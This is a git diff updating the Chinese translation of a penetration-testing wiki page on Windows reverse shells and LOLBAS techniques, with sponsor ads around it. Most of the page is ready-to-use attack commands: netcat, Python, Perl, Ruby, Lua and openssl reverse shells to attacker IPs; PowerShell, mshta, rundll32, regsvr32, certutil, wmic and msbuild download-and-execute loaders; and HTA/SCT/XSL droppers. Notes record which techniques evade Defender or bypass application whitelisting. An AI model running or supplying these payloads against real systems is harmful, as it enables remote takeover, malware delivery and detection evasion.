找到对您最重要的漏洞,以便更快修复它们。Intruder追踪您的攻击面,进行主动威胁扫描,在您的整个技术栈中找到问题,从API到Web应用程序和云系统。[**今天就免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,以便更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -24,8 +24,8 @@
|
|||
|
||||
## Lolbas
|
||||
|
||||
页面 [lolbas-project.github.io](https://lolbas-project.github.io/) 对于Windows系统就像 [https://gtfobins.github.io/](https://gtfobins.github.io/) 对于Linux一样。\
|
||||
显然,**Windows中没有SUID文件或sudo权限**,但了解一些**二进制文件**如何被(滥)用来执行一些意想不到的动作,比如**执行任意代码**,是非常有用的。
|
||||
该页面[lolbas-project.github.io](https://lolbas-project.github.io/)是为Windows设计的,就像[https://gtfobins.github.io/](https://gtfobins.github.io/)是为Linux设计的。\
|
||||
显然,在Windows中**没有SUID文件或sudo特权**,但了解一些**二进制文件**如何(被)滥用以执行某种意外操作是很有用的,比如**执行任意代码。**
|
||||
|
||||
## NC
|
||||
```bash
|
||||
|
@ -33,28 +33,36 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
```
|
||||
## SBD
|
||||
|
||||
**sbd** 是一个Netcat克隆版,设计上便于移植并提供强加密功能。它可以在类Unix操作系统和Microsoft Win32上运行。sbd具备AES-CBC-128 + HMAC-SHA1加密(由Christophe Devine开发)、程序执行(-e选项)、选择源端口、带延迟的持续重连以及一些其他实用功能。sbd仅支持TCP/IP通信。sbd.exe(Kali linux发行版的一部分:/usr/share/windows-resources/sbd/sbd.exe)可以上传到Windows系统作为Netcat的替代品。
|
||||
**sbd**是Netcat的克隆版,旨在具有便携性并提供强大的加密功能。它可以在类Unix操作系统和Microsoft Win32上运行。sbd具有AES-CBC-128 + HMAC-SHA1加密(由Christophe Devine提供)、程序执行(-e选项)、选择源端口、延迟连续重新连接以及其他一些不错的功能。sbd仅支持TCP/IP通信。sbd.exe(Kali Linux发行版的一部分:/usr/share/windows-resources/sbd/sbd.exe)可以作为Netcat的替代品上传到Windows系统。
|
||||
|
||||
## Python
|
||||
```bash
|
||||
#Windows
|
||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
||||
```
|
||||
## Perl
|
||||
|
||||
Perl是一种流行的脚本语言,可用于编写各种类型的脚本和工具。Perl脚本可以在Windows系统上运行,并且可以用于编写强大的shell脚本和工具。Perl脚本通常以.pl为扩展名。Perl在Windows系统上的使用非常广泛,因此可以作为渗透测试和攻击中的有用工具。
|
||||
```bash
|
||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||
```
|
||||
## Ruby
|
||||
|
||||
## Ruby
|
||||
```bash
|
||||
#Windows
|
||||
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
||||
```
|
||||
## Lua
|
||||
|
||||
Lua是一种轻量级、高效的脚本语言,常用于嵌入式系统和游戏开发中。 Lua脚本可以通过解释器执行,也可以编译成字节码运行。 Lua具有简洁的语法和强大的扩展能力,被广泛应用于各种领域。
|
||||
```bash
|
||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||
```
|
||||
## OpenSSH
|
||||
|
||||
攻击者 (Kali)
|
||||
攻击者(Kali)
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
|
@ -68,6 +76,8 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
|||
#Windows
|
||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||
```
|
||||
## Powershell
|
||||
|
||||
## Powershell
|
||||
```bash
|
||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||
|
@ -75,44 +85,46 @@ powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000
|
|||
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
|
||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||
```
|
||||
进行网络调用的进程:**powershell.exe**\
|
||||
磁盘上写入的有效载荷:**否**(_至少我使用procmon找不到!_)
|
||||
执行网络调用的进程:**powershell.exe**\
|
||||
写入磁盘的有效负载:**否**(_至少在我使用procmon时找不到!_)
|
||||
```bash
|
||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||
```
|
||||
进程执行网络调用:**svchost.exe**\
|
||||
载荷写入磁盘:**WebDAV 客户端本地缓存**
|
||||
网络调用执行的进程: **svchost.exe**\
|
||||
写入磁盘的有效载荷: **WebDAV客户端本地缓存**
|
||||
|
||||
**一行代码:**
|
||||
**一行代码:**
|
||||
```bash
|
||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||
```
|
||||
**在本文档末尾了解更多关于不同Powershell Shells的信息**
|
||||
**在本文末尾获取有关不同Powershell Shells的更多信息**
|
||||
|
||||
## Mshta
|
||||
```bash
|
||||
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
|
||||
```
|
||||
进行网络调用的进程:**mshta.exe**\
|
||||
在磁盘上写入的有效载荷:**IE 本地缓存**
|
||||
执行网络调用的进程:**mshta.exe**\
|
||||
写入磁盘的载荷:**IE 本地缓存**
|
||||
```bash
|
||||
mshta http://webserver/payload.hta
|
||||
```
|
||||
进行网络调用的进程:**mshta.exe**\
|
||||
在磁盘上写入的有效载荷:**IE 本地缓存**
|
||||
执行网络调用的进程:**mshta.exe**\
|
||||
写入磁盘的载荷:**IE 本地缓存**
|
||||
```bash
|
||||
mshta \\webdavserver\folder\payload.hta
|
||||
```
|
||||
进程执行网络调用:**svchost.exe**\
|
||||
载荷写入磁盘:**WebDAV 客户端本地缓存**
|
||||
执行网络调用的进程:**svchost.exe**\
|
||||
写入磁盘的有效载荷:**WebDAV客户端本地缓存**
|
||||
|
||||
#### **hta-psh 反向 shell 示例(使用 hta 下载并执行 PS 后门)**
|
||||
#### **hta-psh反向shell示例(使用hta下载并执行PS后门)**
|
||||
```markup
|
||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||
```
|
||||
**您可以非常轻松地下载并执行使用stager hta的Koadic僵尸程序**
|
||||
**您可以使用stager hta非常容易地下载并执行Koadic僵尸程序**
|
||||
|
||||
#### hta 示例
|
||||
#### hta示例
|
||||
|
||||
[**从这里**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
```markup
|
||||
<html>
|
||||
<head>
|
||||
|
@ -127,9 +139,9 @@ new ActiveXObject('WScript.Shell').Run(c);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
**摘自** [**此处**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
|
||||
|
||||
#### **mshta - sct**
|
||||
|
||||
[**从这里**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -145,9 +157,11 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
**摘自** [**此处**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Mshta - Metasploit**
|
||||
|
||||
#### Mshta - Metasploit
|
||||
|
||||
Mshta is a utility in Windows that executes Microsoft HTML Applications (HTA). Metasploit has a module that can be used to execute malicious HTA payloads using mshta.exe. This can be achieved by generating an HTA payload using the mshta_psh module in Metasploit.
|
||||
```bash
|
||||
use exploit/windows/misc/hta_server
|
||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||
|
@ -162,21 +176,23 @@ Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given
|
|||
|
||||
## **Rundll32**
|
||||
|
||||
[**Dll hello world 示例**](https://github.com/carterjones/hello-world-dll)
|
||||
[**Dll 你好世界示例**](https://github.com/carterjones/hello-world-dll)
|
||||
```bash
|
||||
rundll32 \\webdavserver\folder\payload.dll,entrypoint
|
||||
```
|
||||
进程执行网络调用:**svchost.exe**\
|
||||
载荷写入磁盘:**WebDAV 客户端本地缓存**
|
||||
进行网络调用的进程:**svchost.exe**\
|
||||
写入磁盘的有效载荷:**WebDAV客户端本地缓存**
|
||||
```bash
|
||||
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
|
||||
```
|
||||
进程执行网络调用:**rundll32.exe**\
|
||||
载荷写入磁盘:**IE 本地缓存**
|
||||
网络调用执行的进程:**rundll32.exe**\
|
||||
写入磁盘的有效载荷:**IE 本地缓存**
|
||||
|
||||
**被防御者检测到**
|
||||
|
||||
**Rundll32 - sct**
|
||||
|
||||
[**从这里开始**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
```bash
|
||||
<?XML version="1.0"?>
|
||||
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
|
||||
|
@ -191,8 +207,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
**摘自** [**此处**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
|
||||
|
||||
#### **Rundll32 - Metasploit**
|
||||
```bash
|
||||
use windows/smb/smb_delivery
|
||||
|
@ -208,21 +222,25 @@ run
|
|||
#Koadic will tell you what you need to execute inside the victim, it will be something like:
|
||||
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
|
||||
```
|
||||
## Regsvr32
|
||||
|
||||
## Regsvr32
|
||||
```bash
|
||||
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
|
||||
```
|
||||
进程执行网络调用:**regsvr32.exe**\
|
||||
载荷写入磁盘:**IE 本地缓存**
|
||||
网络调用执行的进程: **regsvr32.exe**\
|
||||
写入磁盘的载荷: **IE 本地缓存**
|
||||
```
|
||||
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
|
||||
```
|
||||
进程执行网络调用:**svchost.exe**\
|
||||
载荷写入磁盘:**WebDAV 客户端本地缓存**
|
||||
写入磁盘的有效载荷:**WebDAV客户端本地缓存**
|
||||
|
||||
**被 defender 检测到**
|
||||
**被防御者检测到**
|
||||
|
||||
#### Regsvr32 -sct
|
||||
|
||||
[**从这里**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
```markup
|
||||
<?XML version="1.0"?>
|
||||
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
|
||||
|
@ -239,7 +257,7 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
|||
</registration>
|
||||
</scriptlet>
|
||||
```
|
||||
**摘自** [**此处**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
|
||||
#### **Regsvr32 - Metasploit**
|
||||
|
||||
#### **Regsvr32 - Metasploit**
|
||||
```bash
|
||||
|
@ -250,11 +268,11 @@ set lhost 10.2.0.5
|
|||
run
|
||||
#You will be given the command to run in the victim: regsvr32 /s /n /u /i:http://10.2.0.5:8080/82j8mC8JBblt.sct scrobj.dll
|
||||
```
|
||||
**您可以非常容易地下载并执行使用stager regsvr的Koadic僵尸程序**
|
||||
**您可以使用分段器regsvr轻松下载并执行Koadic僵尸**
|
||||
|
||||
## Certutil
|
||||
|
||||
下载一个B64dll,对其解码并执行。
|
||||
下载一个B64dll,解码并执行它。
|
||||
```bash
|
||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||
```
|
||||
|
@ -264,9 +282,10 @@ certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil
|
|||
```
|
||||
**被防御者检测到**
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到最重要的漏洞,以便您能更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从API到Web应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,这样您就可以更快地修复它们。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -286,8 +305,8 @@ msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > sh
|
|||
```bash
|
||||
\\webdavserver\folder\batchfile.bat
|
||||
```
|
||||
进程执行网络调用:**svchost.exe**\
|
||||
载荷写入磁盘:**WebDAV 客户端本地缓存**
|
||||
网络调用执行的进程:**svchost.exe**\
|
||||
写入磁盘的有效载荷:**WebDAV 客户端本地缓存**
|
||||
```bash
|
||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 > shell.bat
|
||||
impacket-smbserver -smb2support kali `pwd`
|
||||
|
@ -315,10 +334,10 @@ victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
|||
```
|
||||
wmic os get /format:"https://webserver/payload.xsl"
|
||||
```
|
||||
进程执行网络调用:**wmic.exe**\
|
||||
负载写入磁盘:**IE 本地缓存**
|
||||
网络调用执行的进程:**wmic.exe**\
|
||||
写入磁盘的有效负载:**IE 本地缓存**
|
||||
|
||||
示例 xsl 文件:
|
||||
示例 xsl 文件[在这里](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7):
|
||||
```
|
||||
<?xml version='1.0'?>
|
||||
<stylesheet xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder" version="1.0">
|
||||
|
@ -330,25 +349,23 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
|||
</ms:script>
|
||||
</stylesheet>
|
||||
```
|
||||
提取自[此处](https://gist.github.com/Arno0x/fa7eb036f6f45333be2d6d2fd075d6a7)
|
||||
|
||||
**未被检测**
|
||||
|
||||
**您可以非常容易地下载并执行一个使用stager wmic的Koadic僵尸程序**
|
||||
**您可以使用分段器wmic轻松下载并执行Koadic僵尸**
|
||||
|
||||
## Msbuild
|
||||
```
|
||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||
```
|
||||
执行网络调用的进程:**svchost.exe**\
|
||||
磁盘上写入的有效载荷:**WebDAV 客户端本地缓存**
|
||||
网络调用执行的进程:**svchost.exe**\
|
||||
写入磁盘的有效载荷:**WebDAV客户端本地缓存**
|
||||
|
||||
您可以使用此技术绕过应用程序白名单和 Powershell.exe 限制。因为您将被提示使用 PS shell。\
|
||||
只需下载并执行它:[https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
您可以使用此技术绕过应用程序白名单和Powershell.exe限制。因为您将被提示使用PS shell。\
|
||||
只需下载并执行此文件:[https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||
```
|
||||
**未被检测到**
|
||||
**未被检测**
|
||||
|
||||
## **CSC**
|
||||
|
||||
|
@ -356,16 +373,16 @@ C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
|||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||
```
|
||||
您可以从这里下载一个基础的C#反向Shell:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
您可以从这里下载一个基本的C#反向shell:[https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||
|
||||
**未被检测到**
|
||||
**未被检测**
|
||||
|
||||
## **Regasm/Regsvc**
|
||||
```
|
||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\folder\payload.dll
|
||||
```
|
||||
执行网络调用的进程:**svchost.exe**\
|
||||
在磁盘上写入的有效载荷:**WebDAV客户端本地缓存**
|
||||
网络调用的进程:**svchost.exe**\
|
||||
写入磁盘的有效载荷:**WebDAV客户端本地缓存**
|
||||
|
||||
**我还没有尝试过**
|
||||
|
||||
|
@ -376,7 +393,7 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /u \\webdavserver\fol
|
|||
odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||
```
|
||||
执行网络调用的进程:**svchost.exe**\
|
||||
磁盘上写入的有效载荷:**WebDAV 客户端本地缓存**
|
||||
写入磁盘的有效载荷:**WebDAV客户端本地缓存**
|
||||
|
||||
**我还没有尝试过**
|
||||
|
||||
|
@ -388,31 +405,29 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
|||
|
||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||
|
||||
在 **Shells** 文件夹中,有很多不同的 shell。要下载并执行 Invoke-_PowerShellTcp.ps1_,复制脚本并在文件末尾追加:
|
||||
在**Shells**文件夹中,有许多不同的shell。要下载并执行Invoke-_PowerShellTcp.ps1_,请复制该脚本并附加到文件末尾:
|
||||
```
|
||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||
```
|
||||
在Web服务器上开始提供脚本,并在受害者端执行它:
|
||||
开始在Web服务器上提供脚本,并在受害者端执行它:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||
```
|
||||
Defender 目前(截至 2019 年 3 月 4 日)尚未将其检测为恶意代码。
|
||||
Defender尚未将其检测为恶意代码(截至2019年3月4日)。
|
||||
|
||||
**待办事项:检查其他 nishang shells**
|
||||
**TODO: 检查其他nishang shells**
|
||||
|
||||
### **PS-Powercat**
|
||||
|
||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||
|
||||
下载,启动一个 web 服务器,开始监听,然后在受害者端执行:
|
||||
下载,启动Web服务器,启动监听器,并在受害者端执行:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
Defender 目前尚未将其检测为恶意代码(截至 2019年3月4日)。
|
||||
**powercat提供的其他选项:**
|
||||
|
||||
**powercat 提供的其他选项:**
|
||||
|
||||
绑定 shell,反向 shell(TCP、UDP、DNS),端口重定向,上传/下载,生成有效载荷,服务文件...
|
||||
绑定shell,反向shell(TCP,UDP,DNS),端口重定向,上传/下载,生成载荷,提供文件...
|
||||
```
|
||||
Serve a cmd Shell:
|
||||
powercat -l -p 443 -e cmd
|
||||
|
@ -433,7 +448,7 @@ powercat -l -p 443 -i C:\inputfile -rep
|
|||
|
||||
[https://github.com/EmpireProject/Empire](https://github.com/EmpireProject/Empire)
|
||||
|
||||
创建一个powershell启动器,将其保存在文件中,下载并执行。
|
||||
创建一个PowerShell启动器,保存在一个文件中,然后下载并执行它。
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||
```
|
||||
|
@ -443,15 +458,15 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c
|
|||
|
||||
[https://github.com/trustedsec/unicorn](https://github.com/trustedsec/unicorn)
|
||||
|
||||
使用unicorn创建一个powershell版本的metasploit后门
|
||||
使用unicorn创建metasploit后门的PowerShell版本
|
||||
```
|
||||
python unicorn.py windows/meterpreter/reverse_https 10.2.0.5 443
|
||||
```
|
||||
启动 msfconsole 并使用创建的资源:
|
||||
启动msfconsole并使用创建的资源:
|
||||
```
|
||||
msfconsole -r unicorn.rc
|
||||
```
|
||||
启动一个提供 _powershell\_attack.txt_ 文件的网页服务器,并在受害者系统中执行:
|
||||
在受害者上启动一个提供_powershell\_attack.txt_文件的Web服务器,并执行:
|
||||
```
|
||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||
```
|
||||
|
@ -459,9 +474,9 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
## 更多
|
||||
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) 预加载了一些攻击性PS模块的PS控制台(加密)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)\
|
||||
[WinPWN](https://github.com/SecureThisShit/WinPwn) 预加载了一些攻击性PS模块和代理检测的PS控制台(IEX)
|
||||
[PS>Attack](https://github.com/jaredhaight/PSAttack) PS控制台,预装一些具有攻击性的PS模块(加密)\
|
||||
[https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\
|
||||
WinPWN](https://github.com/SecureThisShit/WinPwn) PS控制台,预装一些具有攻击性的PS模块和代理检测(IEX)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -476,21 +491,21 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
|||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
找到对您最重要的漏洞,以便您能更快修复它们。Intruder 跟踪您的攻击面,运行主动威胁扫描,在您的整个技术栈中找到问题,从API到Web应用程序和云系统。今天就[**免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
|
||||
找到最重要的漏洞,以便更快修复。Intruder跟踪您的攻击面,运行主动威胁扫描,发现整个技术堆栈中的问题,从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今天。
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。**
|
||||
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,121 +2,58 @@
|
|||
|
||||
<details>
|
||||
|
||||
